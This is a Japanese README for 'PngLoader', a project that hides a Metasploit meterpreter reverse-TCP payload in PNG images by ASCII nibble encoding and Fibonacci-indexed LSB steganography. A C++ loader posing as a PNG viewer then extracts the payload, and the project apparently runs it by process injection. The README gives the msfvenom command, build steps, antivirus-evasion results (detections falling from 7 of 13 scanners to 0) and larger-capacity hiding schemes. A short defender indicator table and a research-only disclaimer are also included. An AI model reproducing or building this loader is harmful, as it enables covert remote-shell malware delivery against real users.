免責事項: 本プロジェクトは教育および許可されたセキュリティ研究のみを目的としています — ペネトレーションテスト、CTF 競技、レッドチーム演習、学術研究などです。明示的な書面による許可なくシステムに対して使用しないでください。
PngLoader は 2 つのレイヤーを使用して、任意のデータを PNG 画像内に隠します:
# 1. Generate raw test data
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<> LPORT=<> -f raw -o payload.bin
# 2. Encode binary → ASCII
python3 0.Scripts/TransformRawToEncode.py payload.bin encoded.txt
# 3. Embed into a cover image
python3 0.Scripts/HideEncodeToPicture.py embed 2.Payloads/clean.png encoded.txt -o stego.png
# 4. Verify extraction works
python3 0.Scripts/HideEncodeToPicture.py extract stego.png --hex
# 5. Check image capacity
python3 0.Scripts/HideEncodeToPicture.py capacity 2.Payloads/clean.png

PngLoader/
├── 0.Scripts/
│ ├── TransformRawToEncode.py # Nibble-to-ASCII encoder/decoder
│ └── HideEncodeToPicture.py # Fibonacci steganography (embed/extract)
├── 1.Loader/
│ ├── loader_png.cpp # PNG viewer + steganography extractor
│ ├── loader.cpp # Alternate loader (inline buffer)
│ ├── Utils.cpp / Utils.h # ASCII → binary decoder
│ ├── VirtualBuffer.h/.cpp # RAII VirtualAlloc wrapper
│ ├── Hearders.h # Shared Windows includes
│ └── Loader_png.vcxproj # Visual Studio project
├── 2.Payloads/
│ └── clean.png # Sample cover image
└── readme.md
各バイトは2つの4ビットニブルに分割されます。各ニブルは、ランダムなベース(48、64、または96)を加算することで、印刷可能なASCII文字にマッピングされます:
Byte 0xFC → high nibble 0xF, low nibble 0xC
High: 48+15=63 '?' | 64+15=79 'O' | 96+15=111 'o'
Low: 48+12=60 '<' | 64+12=76 'L' | 96+12=108 'l'
デコードはmodulo-16の性質を利用します — 3つの基数はすべて16の倍数です:
original_nibble = encoded_char % 16
byte = (char1 % 16) << 4 | (char2 % 16)
ランダムな基底の選択により、同じ入力でも毎回異なる出力が生成されますが、デコードは常に決定的です。
| 基底 | 範囲 | 文字 |
|---|---|---|
| 48 | 48–63 | 0123456789:;<=>? |
| 64 | 64–79 | @ABCDEFGHIJKLMNO |
| 96 | 96–111 | `abcdefghijklmno |
ペイロードのバイトは、平坦化されたピクセル配列上でフィボナッチ数列(1, 2, 3, 5, 8, 13, 21, …)に従うピクセルインデックスに配置されます。これにより、変更がクラスタ化されるのではなく画像全体に分散されます。
ビットパッキング — 各バイトはRGBのLSBに3/3/2で分割されます:
R: bits 7–5 (3 LSBs)
G: bits 4–2 (3 LSBs)
B: bits 1–0 (2 LSBs)
ラッピング — Fibonacci インデックスがピクセル数を超えると、モジュロ演算によってラップされます。衝突は線形プロービングで解決されます。0x00 ターミネータがデータの終端を示します。
| 画像サイズ | ピクセル数 | クリーン容量 |
|---|---|---|
| 640×480 | 307,200 | 約27バイト |
| 1920×1080 | 2,073,600 | 約31バイト |
| 4000×3000 | 12M | 約35バイト |
ラッピングを有効にすると、最大容量 = total_pixels − 1 となります。
C++ ローダー(loader_png.cpp)は正規の PNG ビューアとして動作します:
UtilDecryptFileQuoted()(mod-16 反転)を介して ASCII → バイナリにデコードするFibonacci 数列はあくまで一つのアプローチにすぎません。他のピクセル選択戦略は、容量とセキュリティの異なるトレードオフを提供します:
| アルゴリズム | クリーン容量(1080p) | 共有鍵 | 分散 | コスト |
|---|---|---|---|---|
| Fibonacci(実装済み) | 約31バイト | なし | 指数的な間隔 | 最小 |
| 素数インデックス | 約150Kバイト | なし | n·ln(n) の間隔 | 中程度 |
| LFSR | 約2Mバイト | あり(シード) | 疑似ランダム | 最小 |
| 鍵付き置換 | 約2Mバイト | あり(鍵) | 暗号学的 | 高 |
| ヒルベルト曲線 | ストライド依存 | なし | 空間的に均一 | 中程度 |
| 黄金比(Weyl) | 約2Mバイト | なし | 低食い違い | 最小 |
素数インデックス — ピクセルインデックスは素数(2, 3, 5, 7, 11…)です。素数は n·ln(n) で増加するため、Fibonacci よりもはるかに高いクリーン容量が得られます。
LFSR — 最大長の線形帰還シフトレジスタが疑似ランダム置換を生成します。シードが共有秘密として機能します。全周期にわたって衝突はゼロです。
鍵付き置換(Fisher-Yates) — CSPRNG をシードとした全ピクセルインデックスのシャッフルです。鍵がなければ位置はランダムと区別できません。
ヒルベルト曲線 — ストライドを指定して空間充填曲線に沿ってピクセルを走査します。変更を2D画像領域全体に均等に分散させます。
黄金比(Weyl 数列) — pos(n) = floor(n × φ × total) mod total。可能な限り最も均一な1D分布を生成します。計算は非常に簡単です。
生ペイロード — 13台中7台のスキャナが検出:

エンコード後 — 13台中0台のスキャナが検出:

ブルーチーム / 防御側向け:
| レイヤー | 指標 |
|---|---|
| 静的 | インポート:VirtualAllocEx、WriteProcessMemory、SetThreadContext |
| 画像 | LSB プレーンに対するカイ二乗ステガナリシスが改変を検出 |
| 挙動 | サスペンド状態のプロセス作成 + リモートスレッドインジェクション(Sysmon EID 1+8) |
| エンコーディング | 3つの16文字 ASCII 範囲のみからなる文字 |
Python:
pip install numpy Pillow
C++ ローダー:
1.Loader/Loader_png.vcxproj を開く → Release x64 でビルド教育および許可されたセキュリティ研究のみを目的としています。上記の免責事項を参照してください。